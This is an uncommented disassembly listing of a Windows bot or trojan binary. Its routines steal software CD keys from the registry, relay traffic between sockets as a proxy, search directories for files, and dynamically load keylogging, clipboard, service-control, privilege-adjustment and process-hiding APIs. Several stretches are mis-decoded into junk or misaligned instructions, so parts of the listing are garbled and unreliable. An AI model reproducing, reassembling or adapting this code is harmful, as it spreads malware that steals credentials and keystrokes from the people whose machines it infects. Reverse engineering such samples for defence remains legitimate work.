push eax
call sub_4154CD
add esp, 0Ch
cmp [ebp-30h], esi
jnz short loc_4081D3
push esi
lea eax, [ebp-2D4h]
push dword ptr [ebp-34h]
push eax
lea eax, [ebp-0D0h]
push eax
push dword ptr [ebp-0D4h]
call sub_412D32
add esp, 14h
loc_4081D3: ; CODE XREF: seg000:004081B1j
lea eax, [ebp-2D4h]
push eax
call sub_40B151
push dword ptr [ebp-3Ch]
call sub_415295
pop ecx
pop ecx
push esi
call near ptr 3D0000h
pop edi
pop edi
pop esi
pop ebx
loc_4081F3: ; DATA XREF: seg000:0040813Do
push ebp
mov ebp, esp
sub esp, 5D4h
mov eax, [ebp+8]
push ebx
push esi
push edi
push 2Ch
mov esi, eax
pop ecx
lea edi, [ebp-0C8h]
rep movsd
mov esi, [ebp-2Ch]
push 1
mov [ebp+8], esi
imul esi, 234h
pop edi
lea esi, dword_43F514[esi]
mov [eax+0ACh], edi
xor ebx, ebx
mov eax, [esi]
mov dword ptr [ebp-8], 5
mov [ebp-5D0h], eax
lea eax, [ebp-8]
push eax
push ebx
lea eax, [ebp-5D4h]
push ebx
push eax
push ebx
mov [ebp-4], ebx
mov [ebp-5D4h], edi
call ds:dword_43A360 ; select
test eax, eax
jnz short near ptr loc_408273+1
push dword ptr [esi]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp+8]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
loc_408273: ; CODE XREF: seg000:0040825Aj
js short loc_4082C8
lea eax, [ebp-4D0h]
push 408h
push eax
push dword ptr [esi]
call ds:dword_43A390 ; recv
test eax, eax
jg short near ptr loc_4082A4+1
push dword ptr [esi]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp+8]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
loc_4082A4: ; CODE XREF: seg000:0040828Bj
mov [eax-4CF43h], al
inc dword ptr [edi+ecx]
test ebp, ebp
add [eax], eax
add [eax-4CE43h], al
inc dword ptr [ecx]
jnz near ptr loc_40849E+1
cmp [ebp-44h], bl
jz short loc_40833B
lea eax, [ebp-44h]
push eax
loc_4082C8: ; CODE XREF: seg000:loc_408273j
lea eax, [ebp-4C8h]
push eax
call sub_4158F0
pop ecx
test eax, eax
pop ecx
jz short loc_40833B
lea eax, [ebp-44h]
push eax
lea eax, [ebp-4C8h]
push eax
push offset dword_427E04
call sub_40B1C5
push 400h
lea eax, [ebp-4C8h]
push ebx
push eax
mov [ebp-4D0h], bl
mov byte ptr [ebp-4CFh], 5Dh
call sub_415550
add esp, 18h
lea eax, [ebp-4D0h]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_43A3C8 ; send
push dword ptr [esi]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp+8]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
stc
loc_40833B: ; CODE XREF: seg000:004082C2j
; seg000:004082D8j
push 10h
lea eax, [ebp-18h]
push ebx
push eax
call sub_415550
mov ax, [ebp-4CEh]
add esp, 0Ch
mov [ebp-16h], ax
mov eax, [ebp-4CCh]
push 6
push edi
push 2
mov word ptr [ebp-18h], 2
mov [ebp-14h], eax
call ds:dword_43A3F8 ; socket
mov edi, eax
cmp edi, 0FFFFFFFFh
jnz short near ptr loc_4083D2+1
call ds:dword_43A30C ; WSAGetLastError
push eax
push offset unk_427DB4
call sub_40B1C5
push 400h
lea eax, [ebp-4C8h]
push ebx
push eax
mov [ebp-4D0h], bl
mov byte ptr [ebp-4CFh], 5Bh
call sub_415550
add esp, 14h
lea eax, [ebp-4D0h]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_43A3C8 ; send
push dword ptr [esi]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp+8]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
loc_4083D2: ; CODE XREF: seg000:00408374j
fmul dword ptr [ebp+106AE845h]
push eax
push edi
call ds:dword_43A320 ; connect
cmp eax, 0FFFFFFFFh
jnz short near ptr loc_408441+1
call ds:dword_43A30C ; WSAGetLastError
push eax
push offset unk_427D60
call sub_40B1C5
push 400h
lea eax, [ebp-4C8h]
push ebx
push eax
mov [ebp-4D0h], bl
mov byte ptr [ebp-4CFh], 5Bh
call sub_415550
add esp, 14h
lea eax, [ebp-4D0h]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_43A3C8 ; send
push dword ptr [esi]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp+8]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
loc_408441: ; CODE XREF: seg000:004083E3j
db 2Eh
push 400h
lea eax, [ebp-4C8h]
push ebx
push eax
mov [ebp-4D0h], bl
mov byte ptr [ebp-4CFh], 5Ah
call sub_415550
add esp, 0Ch
lea eax, [ebp-4D0h]
push ebx
push 8
push eax
push dword ptr [esi]
call ds:dword_43A3C8 ; send
push dword ptr [esi]
push edi
call sub_4084B7
pop ecx
pop ecx
push edi
call ds:dword_43A410 ; closesocket
push dword ptr [esi]
call ds:dword_43A410 ; closesocket
push dword ptr [ebp+8]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
loc_40849E: ; CODE XREF: seg000:004082B9j
arpl di, di
call ss:dword_43A410 ; closesocket
push dword ptr [ebp+8]
call sub_415295
pop ecx
push ebx
call near ptr 3D0000h
; ---------------------------------------------------------------------------
db 0A1h
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4084B7 proc near ; CODE XREF: seg000:00408479p
var_504 = byte ptr -504h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
push ebp
mov ebp, esp
sub esp, 504h
push ebx
mov ebx, [ebp+arg_4]
push esi
push edi
xor edi, edi
mov esi, 400h
loc_4084CD: ; CODE XREF: sub_4084B7+C5j
; sub_4084B7+F5j
mov [ebp+var_100], ebx
mov [ebp+var_104], 1
xor ecx, ecx
lea eax, [ebp+var_100]
loc_4084E5: ; CODE XREF: sub_4084B7+3Cj
mov edx, [ebp+arg_0]
cmp [eax], edx
jz short loc_4084F5
inc ecx
add eax, 4
cmp ecx, 1
jb short loc_4084E5
loc_4084F5: ; CODE XREF: sub_4084B7+33j
cmp ecx, 1
jnz short loc_40850A
mov [ebp+var_FC], edx
mov [ebp+var_104], 2
loc_40850A: ; CODE XREF: sub_4084B7+41j
push esi
lea eax, [ebp+var_504]
push edi
push eax
call sub_415550
add esp, 0Ch
lea eax, [ebp+var_104]
push edi
push edi
push edi
push eax
push edi
call ds:dword_43A360 ; select
lea eax, [ebp+var_104]
push eax
push ebx
call ds:dword_43A270 ; __WSAFDIsSet
test eax, eax
jz short loc_40856A
push edi
lea eax, [ebp+var_504]
push esi
push eax
push ebx
call ds:dword_43A390 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4085B2
push edi
push eax
lea eax, [ebp+var_504]
push eax
push [ebp+arg_0]
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jz short loc_4085B2
loc_40856A: ; CODE XREF: sub_4084B7+85j
lea eax, [ebp+var_104]
push eax
push [ebp+arg_0]
call ds:dword_43A270 ; __WSAFDIsSet
test eax, eax
jz loc_4084CD
push edi
lea eax, [ebp+var_504]
push esi
push eax
push [ebp+arg_0]
call ds:dword_43A390 ; recv
cmp eax, 0FFFFFFFFh
jz short loc_4085B2
push edi
push eax
lea eax, [ebp+var_504]
push eax
push ebx
call ds:dword_43A3C8 ; send
cmp eax, 0FFFFFFFFh
jnz loc_4084CD
loc_4085B2: ; CODE XREF: sub_4084B7+9Aj
; sub_4084B7+B1j ...
pop edi
pop esi
pop ebx
leave
retn
sub_4084B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_4085B7 proc near ; CODE XREF: seg000:004120EBp
var_3F4 = byte ptr -3F4h
var_2F0 = byte ptr -2F0h
var_F0 = byte ptr -0F0h
var_70 = byte ptr -70h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
push ebp
mov ebp, esp
sub esp, 3F4h
push ebx
xor ebx, ebx
cmp ds:off_427E5C, ebx
mov [ebp+var_C], 80h
jz loc_408769
push esi
push edi
mov eax, offset off_427E5C
mov esi, offset dword_427E68
mov edi, offset aSCdKeyS_ ; "%s CD Key: (%s)."
loc_4085E7: ; CODE XREF: sub_4085B7+1AAj
lea ecx, [ebp+var_4]
push ecx
push 20019h
push ebx
push dword ptr [eax]
push dword ptr [esi-10h]
call ds:dword_43A3E8 ; RegOpenKeyExA
lea eax, [ebp+var_C]
push eax
lea eax, [ebp+var_F0]
push eax
push ebx
push ebx
push dword ptr [esi-8]
push [ebp+var_4]
call ds:dword_43A284 ; RegQueryValueExA
test eax, eax
jnz loc_40874F
mov eax, [esi]
cmp eax, ebx
jz loc_408713
push eax
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_3F4]
push offset aSS_3 ; "%s\\%s"
push eax
call sub_4154CD
lea eax, [ebp+var_3F4]
push offset aR ; "r"
push eax
call sub_415BC8
add esp, 18h
cmp eax, ebx
mov [ebp+var_8], eax
jz loc_40874F
push eax
loc_408660: ; CODE XREF: sub_4085B7+D4j
lea eax, [ebp+var_70]
push 64h
push eax
call sub_41711C
add esp, 0Ch
test eax, eax
jz loc_408708
push dword ptr [esi+4]
lea eax, [ebp+var_70]
push eax
call sub_415AA0
pop ecx
test eax, eax
pop ecx
jz short loc_40868D
push [ebp+var_8]
jmp short loc_408660
; ---------------------------------------------------------------------------
loc_40868D: ; CODE XREF: sub_4085B7+CFj
push 3Dh
push dword ptr [esi+4]
call sub_417060
pop ecx
test eax, eax
pop ecx
jz short loc_4086CC
lea eax, [ebp+var_70]
push offset asc_429060 ; "="
push eax
call sub_416C78
push offset asc_429060 ; "="
push ebx
call sub_416C78
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4154CD
add esp, 20h
jmp short loc_4086E3
; ---------------------------------------------------------------------------
loc_4086CC: ; CODE XREF: sub_4085B7+E4j
lea eax, [ebp+var_70]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4154CD
add esp, 10h
loc_4086E3: ; CODE XREF: sub_4085B7+113j
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
lea eax, [ebp+var_2F0]
push eax
call sub_40B151
add esp, 18h
loc_408708: ; CODE XREF: sub_4085B7+B9j
push [ebp+var_8]
call sub_415B20
pop ecx
jmp short loc_40874F
; ---------------------------------------------------------------------------
loc_408713: ; CODE XREF: sub_4085B7+6Aj
lea eax, [ebp+var_F0]
push eax
lea eax, [ebp+var_2F0]
push dword ptr [esi-4]
push edi
push eax
call sub_4154CD
push ebx
lea eax, [ebp+var_2F0]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
lea eax, [ebp+var_2F0]
push eax
call sub_40B151
add esp, 28h
loc_40874F: ; CODE XREF: sub_4085B7+60j
; sub_4085B7+A2j ...
push [ebp+var_4]
call ds:dword_43A354 ; RegCloseKey
add esi, 18h
cmp [esi-0Ch], ebx
lea eax, [esi-0Ch]
jnz loc_4085E7
pop edi
pop esi
loc_408769: ; CODE XREF: sub_4085B7+19j
pop ebx
leave
retn
sub_4085B7 endp
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_40876C proc near ; DATA XREF: seg000:00410A58o
var_49C = byte ptr -49Ch
var_29C = dword ptr -29Ch
var_298 = byte ptr -298h
var_218 = byte ptr -218h
var_115 = byte ptr -115h
var_114 = byte ptr -114h
var_10 = dword ptr -10h
var_C = dword ptr -0Ch
var_8 = dword ptr -8
arg_0 = dword ptr 8
push ebp
mov ebp, esp
sub esp, 49Ch
mov eax, [ebp+arg_0]
push ebx
push esi
push edi
mov ecx, 0A7h
mov esi, eax
lea edi, [ebp+var_29C]
rep movsd
mov dword ptr [eax+298h], 1
lea eax, [ebp+var_114]
push eax
call sub_415CD0
xor ebx, ebx
cmp [ebp+eax+var_115], 5Ch
pop ecx
jnz short loc_4087C1
lea eax, [ebp+var_114]
push eax
call sub_415CD0
pop ecx
mov [ebp+eax+var_115], bl
loc_4087C1: ; CODE XREF: sub_40876C+3Fj
lea eax, [ebp+var_218]
push eax
push offset unk_4290B8
lea eax, [ebp+var_49C]
push 200h
push eax
call sub_415A4A
add esp, 10h
cmp [ebp+var_8], ebx
jnz short loc_408806
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_412D32
add esp, 14h
loc_408806: ; CODE XREF: sub_40876C+78j
lea eax, [ebp+var_114]
push ebx
push eax
lea eax, [ebp+var_218]
push eax
lea eax, [ebp+var_298]
push [ebp+var_C]
push eax
push [ebp+var_29C]
call sub_408884
push eax
lea eax, [ebp+var_49C]
push offset unk_429084
push eax
call sub_4154CD
add esp, 24h
cmp [ebp+var_8], ebx
jnz short loc_408864
push ebx
lea eax, [ebp+var_49C]
push [ebp+var_C]
push eax
lea eax, [ebp+var_298]
push eax
push [ebp+var_29C]
call sub_412D32
add esp, 14h
loc_408864: ; CODE XREF: sub_40876C+D6j
lea eax, [ebp+var_49C]
push eax
call sub_40B151
push [ebp+var_10]
call sub_415295
pop ecx
pop ecx
push ebx
call near ptr 3D0000h
push 5Fh
pop esi
pop ebx
sub_40876C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_408884 proc near ; CODE XREF: sub_40876C+B9p
; sub_408884+9Ep
var_54C = byte ptr -54Ch
var_34C = byte ptr -34Ch
var_248 = byte ptr -248h
var_144 = byte ptr -144h
var_118 = byte ptr -118h
var_117 = byte ptr -117h
var_4 = dword ptr -4
arg_0 = dword ptr 8
arg_4 = dword ptr 0Ch
arg_8 = dword ptr 10h
arg_C = dword ptr 14h
arg_10 = dword ptr 18h
arg_14 = dword ptr 1Ch
push ebp
mov ebp, esp
sub esp, 54Ch
push ebx
push esi
push edi
mov esi, 104h
push [ebp+arg_10]
lea eax, [ebp+var_248]
push offset aS_3 ; "%s\\*"
push esi
push eax
call sub_415A4A
mov edi, ds:dword_4210A8
add esp, 10h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
cmp eax, 0FFFFFFFFh
mov [ebp+var_4], eax
mov ebx, offset aSS_3 ; "%s\\%s"
jz short loc_408941
loc_4088D0: ; CODE XREF: sub_408884+BBj
test [ebp+var_144], 10h
jz short loc_40892D
cmp [ebp+var_118], 2Eh
jnz short loc_4088F4
cmp [ebp+var_117], 0
jz short loc_40892D
cmp [ebp+var_117], 2Eh
jz short loc_40892D
loc_4088F4: ; CODE XREF: sub_408884+5Cj
lea eax, [ebp+var_118]
push eax
lea eax, [ebp+var_34C]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_415A4A
push [ebp+arg_14]
lea eax, [ebp+var_34C]
push eax
push [ebp+arg_C]
push [ebp+arg_8]
push [ebp+arg_4]
push [ebp+arg_0]
call sub_408884
add esp, 2Ch
mov [ebp+arg_14], eax
loc_40892D: ; CODE XREF: sub_408884+53j
; sub_408884+65j ...
lea eax, [ebp+var_144]
push eax
push [ebp+var_4]
call ds:dword_4210A4 ; FindNextFileA
test eax, eax
jnz short loc_4088D0
loc_408941: ; CODE XREF: sub_408884+4Aj
push [ebp+var_4]
call near ptr 3D0000h
pop edx
push [ebp+arg_C]
lea eax, [ebp+var_248]
push [ebp+arg_10]
push ebx
push esi
push eax
call sub_415A4A
add esp, 14h
lea eax, [ebp+var_144]
push eax
lea eax, [ebp+var_248]
push eax
call edi ; FindFirstFileA
mov esi, eax
cmp esi, 0FFFFFFFFh
jz short loc_4089C7
loc_408978: ; CODE XREF: sub_408884+141j
lea eax, [ebp+var_118]
inc [ebp+arg_14]
push eax
lea eax, [ebp+var_54C]
push [ebp+arg_10]
push offset aFoundSS ; " Found: %s\\%s"
push 200h
push eax
call sub_415A4A
push 1
lea eax, [ebp+var_54C]
push [ebp+arg_8]
push eax
push [ebp+arg_4]
push [ebp+arg_0]
call sub_412D32
add esp, 28h
lea eax, [ebp+var_144]
push eax
push esi
call ds:dword_4210A4 ; FindNextFileA
test eax, eax
jnz short loc_408978
loc_4089C7: ; CODE XREF: sub_408884+F2j
push esi
call near ptr 3D0000h
inc esp
mov eax, [ebp+arg_14]
pop edi
pop esi
pop ebx
leave
retn
sub_408884 endp
; =============== S U B R O U T I N E =======================================
sub_4089D6 proc near ; CODE XREF: seg000:0040C6BBp
push ebx
push ebp
mov ebp, ds:dword_4210C8
push esi
push edi
push offset aKernel32_dll ; "kernel32.dll"
call ebp ; GetModuleHandleA
mov esi, ds:dword_4210C4
mov edi, eax
xor ebx, ebx
cmp edi, ebx
jz loc_408AF6
push offset aSeterrormode ; "SetErrorMode"
push edi
call esi
push offset aCreatetoolhelp ; "CreateToolhelp32Snapshot"
push edi
mov ds:dword_43A424, eax
call esi
push offset aProcess32first ; "Process32First"
push edi
mov ds:dword_43A398, eax
call esi
push offset aProcess32next ; "Process32Next"
push edi
mov ds:dword_43A37C, eax
call esi
push offset aModule32first ; "Module32First"
push edi
mov ds:dword_43A298, eax
call esi
push offset aGetdiskfreespa ; "GetDiskFreeSpaceExA"
push edi
mov ds:dword_43A244, eax
call esi
push offset aGetlogicaldriv ; "GetLogicalDriveStringsA"
push edi
mov ds:dword_43A274, eax
call esi
push offset aGetdrivetypea ; "GetDriveTypeA"
push edi
mov ds:dword_43A2E8, eax
call esi
push offset aSearchpatha ; "SearchPathA"
push edi
mov ds:dword_43A3D8, eax
call esi
push offset aQueryperforman ; "QueryPerformanceCounter"
push edi
mov ds:dword_43A434, eax
call esi
push offset aQueryperform_0 ; "QueryPerformanceFrequency"
push edi
mov ds:dword_43A2A4, eax
call esi
cmp ds:dword_43A424, ebx
mov ds:dword_43A28C, eax
jz short loc_408AD4
cmp ds:dword_43A398, ebx
jz short loc_408AD4
cmp ds:dword_43A37C, ebx
jz short loc_408AD4
cmp ds:dword_43A298, ebx
jz short loc_408AD4
cmp ds:dword_43A274, ebx
jz short loc_408AD4
cmp ds:dword_43A2E8, ebx
jz short loc_408AD4
cmp ds:dword_43A3D8, ebx
jz short loc_408AD4
cmp ds:dword_43A434, ebx
jz short loc_408AD4
cmp ds:dword_43A2A4, ebx
jz short loc_408AD4
cmp eax, ebx
jnz short loc_408ADE
loc_408AD4: ; CODE XREF: sub_4089D6+B8j
; sub_4089D6+C0j ...
mov ds:dword_43A438, 1
loc_408ADE: ; CODE XREF: sub_4089D6+FCj
push offset aRegisterservic ; "RegisterServiceProcess"
push edi
call esi
cmp eax, ebx
mov ds:dword_43A3B0, eax
jz short loc_408B0B
push 1
push ebx
call eax
jmp short loc_408B0B
; ---------------------------------------------------------------------------
loc_408AF6: ; CODE XREF: sub_4089D6+1Dj
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A43C, eax
mov ds:dword_43A438, 1
loc_408B0B: ; CODE XREF: sub_4089D6+117j
; sub_4089D6+11Ej
push offset aUser32_dll ; "user32.dll"
call ds:dword_4210C0 ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_408C20
push offset aSendmessagea ; "SendMessageA"
push edi
call esi
push offset aFindwindowa ; "FindWindowA"
push edi
mov ds:dword_43A3D4, eax
call esi
push offset aIswindow ; "IsWindow"
push edi
mov ds:dword_43A384, eax
call esi
push offset aDestroywindow ; "DestroyWindow"
push edi
mov ds:dword_43A318, eax
call esi
push offset aOpenclipboard ; "OpenClipboard"
push edi
mov ds:dword_43A428, eax
call esi
push offset aGetclipboardda ; "GetClipboardData"
push edi
mov ds:dword_43A348, eax
call esi
push offset aCloseclipboard ; "CloseClipboard"
push edi
mov ds:dword_43A368, eax
call esi
push offset aExitwindowsex ; "ExitWindowsEx"
push edi
mov ds:dword_43A3CC, eax
call esi
cmp ds:dword_43A3D4, ebx
mov ds:dword_43A2C0, eax
jz short loc_408BC4
cmp ds:dword_43A384, ebx
jz short loc_408BC4
cmp ds:dword_43A318, ebx
jz short loc_408BC4
cmp ds:dword_43A428, ebx
jz short loc_408BC4
cmp ds:dword_43A348, ebx
jz short loc_408BC4
cmp ds:dword_43A368, ebx
jz short loc_408BC4
cmp ds:dword_43A3CC, ebx
jz short loc_408BC4
cmp eax, ebx
jnz short loc_408BCE
loc_408BC4: ; CODE XREF: sub_4089D6+1B8j
; sub_4089D6+1C0j ...
mov ds:dword_43A440, 1
loc_408BCE: ; CODE XREF: sub_4089D6+1ECj
push offset aGetasynckeysta ; "GetAsyncKeyState"
push edi
call esi
push offset aGetkeystate ; "GetKeyState"
push edi
mov ds:dword_43A344, eax
call esi
push offset aGetwindowtexta ; "GetWindowTextA"
push edi
mov ds:dword_43A258, eax
call esi
push offset aGetforegroundw ; "GetForegroundWindow"
push edi
mov ds:dword_43A314, eax
call esi
cmp ds:dword_43A344, ebx
mov ds:dword_43A300, eax
jz short loc_408C2B
cmp ds:dword_43A258, ebx
jz short loc_408C2B
cmp ds:dword_43A314, ebx
jz short loc_408C2B
cmp eax, ebx
jnz short loc_408C35
jmp short loc_408C2B
; ---------------------------------------------------------------------------
loc_408C20: ; CODE XREF: sub_4089D6+144j
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A444, eax
loc_408C2B: ; CODE XREF: sub_4089D6+232j
; sub_4089D6+23Aj ...
mov ds:dword_43A440, 1
loc_408C35: ; CODE XREF: sub_4089D6+246j
push offset aAdvapi32_dll ; "advapi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_408DD0
push offset aRegopenkeyexa ; "RegOpenKeyExA"
push edi
call esi
push offset aRegcreatekeyex ; "RegCreateKeyExA"
push edi
mov ds:dword_43A3E8, eax
call esi
push offset aRegsetvalueexa ; "RegSetValueExA"
push edi
mov ds:dword_43A32C, eax
call esi
push offset aRegqueryvaluee ; "RegQueryValueExA"
push edi
mov ds:dword_43A39C, eax
call esi
push offset aRegdeletevalue ; "RegDeleteValueA"
push edi
mov ds:dword_43A284, eax
call esi
push offset aRegclosekey ; "RegCloseKey"
push edi
mov ds:dword_43A2E4, eax
call esi
cmp ds:dword_43A3E8, ebx
mov ds:dword_43A354, eax
jz short loc_408CC0
cmp ds:dword_43A32C, ebx
jz short loc_408CC0
cmp ds:dword_43A39C, ebx
jz short loc_408CC0
cmp ds:dword_43A284, ebx
jz short loc_408CC0
cmp ds:dword_43A2E4, ebx
jz short loc_408CC0
cmp eax, ebx
jnz short loc_408CCA
loc_408CC0: ; CODE XREF: sub_4089D6+2C4j
; sub_4089D6+2CCj ...
mov ds:dword_43A448, 1
loc_408CCA: ; CODE XREF: sub_4089D6+2E8j
push offset aOpenprocesstok ; "OpenProcessToken"
push edi
call esi
push offset aLookupprivileg ; "LookupPrivilegeValueA"
push edi
mov ds:dword_43A35C, eax
call esi
push offset aAdjusttokenpri ; "AdjustTokenPrivileges"
push edi
mov ds:dword_43A334, eax
call esi
cmp ds:dword_43A35C, ebx
mov ds:dword_43A3E4, eax
jz short loc_408D05
cmp ds:dword_43A334, ebx
jz short loc_408D05
cmp eax, ebx
jnz short loc_408D0F
loc_408D05: ; CODE XREF: sub_4089D6+321j
; sub_4089D6+329j
mov ds:dword_43A448, 1
loc_408D0F: ; CODE XREF: sub_4089D6+32Dj
push offset aOpenscmanagera ; "OpenSCManagerA"
push edi
call esi
push offset aOpenservicea ; "OpenServiceA"
push edi
mov ds:dword_43A36C, eax
call esi
push offset aStartservicea ; "StartServiceA"
push edi
mov ds:dword_43A260, eax
call esi
push offset aControlservice ; "ControlService"
push edi
mov ds:dword_43A268, eax
call esi
push offset aDeleteservice ; "DeleteService"
push edi
mov ds:dword_43A2C8, eax
call esi
push offset aCloseserviceha ; "CloseServiceHandle"
push edi
mov ds:dword_43A2CC, eax
call esi
push offset aEnumservicesst ; "EnumServicesStatusA"
push edi
mov ds:dword_43A27C, eax
call esi
push offset aIsvalidsecurit ; "IsValidSecurityDescriptor"
push edi
mov ds:dword_43A338, eax
call esi
cmp ds:dword_43A36C, ebx
mov ds:dword_43A26C, eax
jz short loc_408DB3
cmp ds:dword_43A260, ebx
jz short loc_408DB3
cmp ds:dword_43A268, ebx
jz short loc_408DB3
cmp ds:dword_43A2C8, ebx
jz short loc_408DB3
cmp ds:dword_43A2CC, ebx
jz short loc_408DB3
cmp ds:dword_43A27C, ebx
jz short loc_408DB3
cmp ds:dword_43A338, ebx
jz short loc_408DB3
cmp eax, ebx
jnz short loc_408DBD
loc_408DB3: ; CODE XREF: sub_4089D6+3A7j
; sub_4089D6+3AFj ...
mov ds:dword_43A448, 1
loc_408DBD: ; CODE XREF: sub_4089D6+3DBj
push offset aGetusernamea ; "GetUserNameA"
push edi
call esi
cmp eax, ebx
mov ds:dword_43A264, eax
jnz short loc_408DE5
jmp short loc_408DDB
; ---------------------------------------------------------------------------
loc_408DD0: ; CODE XREF: sub_4089D6+26Aj
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A44C, eax
loc_408DDB: ; CODE XREF: sub_4089D6+3F8j
mov ds:dword_43A448, 1
loc_408DE5: ; CODE XREF: sub_4089D6+3F6j
push offset aGdi32_dll ; "gdi32.dll"
call ebp ; GetModuleHandleA
mov edi, eax
cmp edi, ebx
jz loc_408EB1
push offset aCreatedca ; "CreateDCA"
push edi
call esi
push offset aCreatedibsecti ; "CreateDIBSection"
push edi
mov ds:dword_43A364, eax
call esi
push offset aCreatecompatib ; "CreateCompatibleDC"
push edi
mov ds:dword_43A3BC, eax
call esi
push offset aGetdevicecaps ; "GetDeviceCaps"
push edi
mov ds:dword_43A3C4, eax
call esi
push offset aGetdibcolortab ; "GetDIBColorTable"
push edi
mov ds:dword_43A380, eax
call esi
push offset aSelectobject ; "SelectObject"
push edi
mov ds:dword_43A2A8, eax
call esi
push offset aBitblt ; "BitBlt"
push edi
mov ds:dword_43A254, eax
call esi
push offset aDeletedc ; "DeleteDC"
push edi
mov ds:dword_43A3C0, eax
call esi
push offset aDeleteobject ; "DeleteObject"
push edi
mov ds:dword_43A240, eax
call esi
cmp ds:dword_43A364, ebx
mov ds:dword_43A2DC, eax
jz short loc_408EBC
cmp ds:dword_43A3BC, ebx
jz short loc_408EBC
cmp ds:dword_43A3C4, ebx
jz short loc_408EBC
cmp ds:dword_43A380, ebx
jz short loc_408EBC
cmp ds:dword_43A2A8, ebx
jz short loc_408EBC
cmp ds:dword_43A254, ebx
jz short loc_408EBC
cmp ds:dword_43A3C0, ebx
jz short loc_408EBC
cmp ds:dword_43A240, ebx
jz short loc_408EBC
cmp eax, ebx
jnz short loc_408EC6
jmp short loc_408EBC
; ---------------------------------------------------------------------------
loc_408EB1: ; CODE XREF: sub_4089D6+41Aj
call ds:dword_421088 ; RtlGetLastWin32Error
mov ds:dword_43A454, eax
loc_408EBC: ; CODE XREF: sub_4089D6+49Bj
; sub_4089D6+4A3j ...
mov ds:dword_43A450, 1
loc_408EC6: ; CODE XREF: sub_4089D6+4D7j
mov ebp, ds:dword_4210C0
push offset aWs2_32_dll ; "ws2_32.dll"
call ebp ; LoadLibraryA
mov edi, eax
cmp edi, ebx
jz loc_409182
push offset aWsastartup ; "WSAStartup"
push edi
call esi
push offset aWsasocketa ; "WSASocketA"
push edi
mov ds:dword_43A2F0, eax
call esi
push offset aWsaasyncselect ; "WSAAsyncSelect"
push edi
mov ds:dword_43A41C, eax
call esi
push offset a__wsafdisset ; "__WSAFDIsSet"
push edi
mov ds:dword_43A294, eax
call esi
push offset aWsaioctl ; "WSAIoctl"
push edi
mov ds:dword_43A270, eax
call esi
push offset aWsagetlasterro ; "WSAGetLastError"
push edi
mov ds:dword_43A324, eax
call esi
push offset aWsacleanup ; "WSACleanup"
push edi
mov ds:dword_43A30C, eax
call esi
push offset aSocket ; "socket"
push edi
mov ds:dword_43A2D8, eax
call esi
push offset aIoctlsocket ; "ioctlsocket"
push edi
mov ds:dword_43A3F8, eax
call esi
push offset aConnect ; "connect"
push edi
mov ds:dword_43A414, eax
call esi
push offset aInet_ntoa ; "inet_ntoa"
push edi
mov ds:dword_43A320, eax
call esi
push offset aInet_addr ; "inet_addr"
push edi
mov ds:dword_43A404, eax
call esi
push offset aHtons ; "htons"
push edi
mov ds:dword_43A3B8, eax
call esi
push offset aHtonl ; "htonl"
push edi
mov ds:dword_43A378, eax
call esi
push offset aNtohs ; "ntohs"
push edi
mov ds:dword_43A374, eax
call esi
push offset aNtohl ; "ntohl"
push edi
mov ds:dword_43A2B4, eax
call esi
push offset aSend ; "send"
push edi
mov ds:dword_43A2AC, eax
call esi
push offset aSendto ; "sendto"
push edi
mov ds:dword_43A3C8, eax
call esi
push offset aRecv ; "recv"
push edi
mov ds:dword_43A3DC, eax
call esi
push offset aRecvfrom ; "recvfrom"
push edi
mov ds:dword_43A390, eax
call esi
mov ds:dword_43A350, eax
push offset aBind ; "bind"
push edi
call esi
push offset aSelect ; "select"
push edi
mov ds:dword_43A3A4, eax
call esi
push offset aListen ; "listen"
push edi
mov ds:dword_43A360, eax
call esi
push offset aAccept ; "accept"
push edi
mov ds:dword_43A3A0, eax
call esi
push offset aSetsockopt ; "setsockopt"
push edi
mov ds:dword_43A40C, eax
call esi
push offset aGetsockname ; "getsockname"
push edi
mov ds:dword_43A358, eax
call esi
push offset aGethostname ; "gethostname"
push edi
mov ds:dword_43A31C, eax
call esi
push offset aGethostbyname ; "gethostbyname"
push edi
mov ds:dword_43A38C, eax
call esi
